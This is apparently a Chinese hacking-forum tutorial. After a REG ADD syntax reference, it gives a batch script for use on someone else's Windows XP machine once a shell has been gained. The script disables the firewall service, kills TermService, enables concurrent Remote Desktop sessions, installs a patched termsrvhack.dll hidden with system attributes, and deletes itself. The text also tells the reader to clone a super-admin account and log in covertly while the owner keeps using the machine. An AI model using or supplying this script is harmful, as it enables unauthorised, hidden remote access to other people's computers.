我不推荐这种做法,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数: REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] KeyName [\Machine\]FullKey Machine远程机器名- 忽略默认到当前机器。远程机器上 只有HKLM和 HKU。 FullKey ROOTKEY\SubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选ROOTKEY下注册表项的完整名。 /v 所选项之下要添加的值名。 /ve 为注册表项添加空白值名(默认)。 /t RegKey数据类型 [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ | REG_DWORD | REG_BINARY | REG_NONE ] 如果忽略,则采用REG_SZ。 /s 指定一个在REG_MULTI_SZ数据字符串中用作分隔符的字符 如果忽略,则将"\0"用作分隔符。 /d 要分配给添加的注册表ValueName的数据。 /f 不用提示就强行覆盖现有注册表项。 例如: REG ADD \ABC\HKLM\Software\MyCo 添加远程机器ABC上的一个注册表项HKLM\Software\MyCo REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead 添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead) REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail 添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0) REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% 添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%) 注意:在扩充字符串中使用插入符号( ^ ) 为了让系统不重起,我们可以用shutdown -a这个命令。 根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。 代码如下: @echo off@net stop sharedaccess@ntsd -c q -p "pid"@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll@attrib +h +s +r c:\windows\system32\termsrvhack.dll@shutdown -a@del c:\termsrvhack.dll@net start termservice@del c:\3389.bat 其中“pid”是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。具体的操作方法是:先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。 接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功! 最后打开登陆器,3389终端登陆! 说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!
|